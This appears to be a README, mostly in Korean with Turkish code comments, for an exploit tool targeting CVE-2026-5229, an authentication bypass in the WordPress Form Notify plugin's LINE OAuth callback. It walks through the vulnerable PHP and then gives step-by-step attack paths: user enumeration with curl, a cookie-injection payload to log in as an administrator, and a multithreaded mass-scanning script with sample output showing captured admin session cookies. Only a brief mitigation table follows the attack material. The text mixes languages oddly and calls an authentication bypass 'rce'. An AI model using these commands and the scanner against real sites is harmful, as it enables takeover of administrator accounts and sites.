
CVE-2026-5229: LINE OAuth 콜백을 통한 Form Notify 인증 우회 (CVSS 9.8)
CVE-2026-5229: LINE OAuth 콜백을 통한 Form Notify 인증 우회 (CVSS 9.8)
Plugin: Form Notify (
form-notify) 취약점 유형: 인증되지 않은 LINE OAuth 인증 우회 → 계정 탈취 CVSS 점수: 9.8 (치명적) CVSS 벡터:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H영향을 받는 버전: <= 1.1.10 패치된 버전: 1.1.11+ 연구자: Paolo Tresso — Wordfence
Form Notify 플러그인은 양식 제출 후 알림을 보내고 LINE Login OAuth 2.0 통합을 제공하는 WordPress 플러그인입니다.
취약점은 LINE OAuth 콜백 핸들러에 존재합니다. 사용자가 LINE 인증 흐름을 완료한 후, 플러그인은 WordPress 계정을 이메일 주소만으로 해석합니다. LINE 계정이 해당 WordPress 계정과 이전에 연결되었는지 여부를 전혀 확인하지 않습니다.
| 버전 | 취약점 | 공격 방법 |
|---|
| <= 1.1.08 | 쿠키 주입 + 이메일 일치 | Path A 또는 Path B |
| 1.1.09 – 1.1.10 | 이메일 일치 (쿠키 제거됨) | Path B |
| 1.1.11+ | 패치됨 | — |
LINE OAuth 콜백 엔드포인트는 완전히 공개된 상태로 등록되어 있습니다:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
WordPress nonce는 CSRF 토큰이지 인증 토큰이 아닙니다. 모든 방문자는 페이지 HTML에서 유효한 nonce를 얻을 수 있으며 검증 확인을 통과할 수 있습니다.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
일치하는 항목이 발견되면 login() 메서드가 즉시 세션을 엽니다:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
LINE 프로필이 이메일을 반환하지 않을 때 ($user->email 비어 있음),
플러그인은 브라우저 쿠키를 직접 읽습니다.
공격자는 이 쿠키를 완전히 제어합니다.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Transient가 만료된 경우 $_SESSION 폴백이 작동합니다.
대부분의 WordPress 설치 환경에서 $_SESSION은 이 시점에 채워져 있지 않습니다 →
state 검증을 우회할 수 있습니다.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
LINE OAuth 흐름으로 생성된 계정에서 비밀번호는 이메일 주소와 동일합니다. 이로 인해 직접적인 무차별 대입(brute-force) 또는 로그인 공격이 가능합니다.
| 이유 | 설명 |
|---|---|
| 인증 불필요 | 콜백 엔드포인트가 완전히 공개됨 |
| 연결 확인 없음 | 아무 LINE 계정이나 충분함 |
| 쿠키 공격 | <= 1.1.08에서는 이메일조차 필요 없음 |
| 관리자를 포함한 모든 계정 | get_user_by('email')이 모든 사용자에게 영향 |
| 약한 state 검증 | CSRF 보호를 우회할 수 있음 |
| 이메일 = 비밀번호 | OAuth로 생성된 계정은 손쉬운 무차별 대입 공격에 노출됨 |
⚠️ 면책 조항: 이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템을 테스트하는 것은 불법입니다.
사전 요구 사항:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
브라우저 개발자 도구를 열고 콘솔에 붙여넣으세요:
document.cookie = "[email protected]; path=/";
또는 curl 사용:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Location 헤더의 LINE OAuth URL을 브라우저에서 여세요.
LINE 동의 화면에서 이메일 권한을 부여하지 말거나 이메일이 없는 LINE 계정을 사용하세요. LINE은 이메일 없이 콜백으로 리디렉션합니다. 플러그인은 쿠키로 대체됩니다.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
예상 응답:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
경로 A 1단계와 동일합니다.
account.line.biz에서 대상 이메일로 LINE 계정을 생성하세요.
(이메일 인증이 필요합니다 — 대상 받은 편지함에 대한 접근이 필수입니다.)
https://target.com/wp-json/form-notify/v1/login
LINE 동의 화면에서 이메일 권한을 부여하세요. LINE은 이메일 주소를 콜백으로 반환합니다.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| 매개변수 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--url | -u | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--threads | -t | 스레드 수 | 10 |
--output | -o | 출력 파일 | auth_bypass.txt |
--email | — | 대상 사용자 이메일 | 자동 발견 |
--path | — | 공격 경로 (A / B / both) | both |
--max-users | — | 대상당 최대 사용자 수 | 5 |
--proxy | — | 프록시 URL | — |
--timeout | — | 요청 시간 초과(초) | 10 |
| 상태 | 설명 |
|---|---|
★ AUTH OK | 세션 쿠키 획득 — 완전 자동 |
★ WP-ADMIN | /wp-admin으로 리디렉션됨 |
~ MANUAL | OAuth URL 준비됨, 브라우저에서 완료 |
~ PATH B | LINE 계정으로 수동 단계 수행 |
- NO_PLUGIN | Form Notify가 설치되어 있지 않음 |
- NO_LINE | LINE Login이 활성화되어 있지 않음 |
~ NO_TARGET | 사용자 이메일을 찾을 수 없음 |
~ UNREACH | 대상에 연결할 수 없음 |
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| 조치 | 구현 |
|---|---|
| 플러그인 업데이트 | Form Notify 1.1.11+ 버전으로 업그레이드 |
| LINE 연결 확인 | LINE ID를 사용자 메타에 저장하고 모든 로그인 시 검증 |
| 쿠키 폴백 제거 | $_COOKIE['form_notify_line_email'] 사용 제거 |
| State 검증 | Transient 폴백 제거, 만료된 state 거부 |
| 비밀번호 정책 | sign_up()에서 이메일을 비밀번호로 사용하지 않기 |
| REST 엔드포인트 보호 | 콜백 엔드포인트에 Rate Limiting 적용 |
안전한 계정 해석 예시:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
이 도구와 PoC는 승인된 시스템에서 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 제작되었습니다. 허가 없는 시스템에서의 사용은 터키 형법 제243-245조 및 국제 사이버 범죄 법률에 따라 범죄에 해당합니다. 개발자는 도구의 악용으로 인해 발생하는 어떠한 법적 책임도 지지 않습니다.
MIT License — 교육 및 연구 목적으로만 사용할 수 있습니다.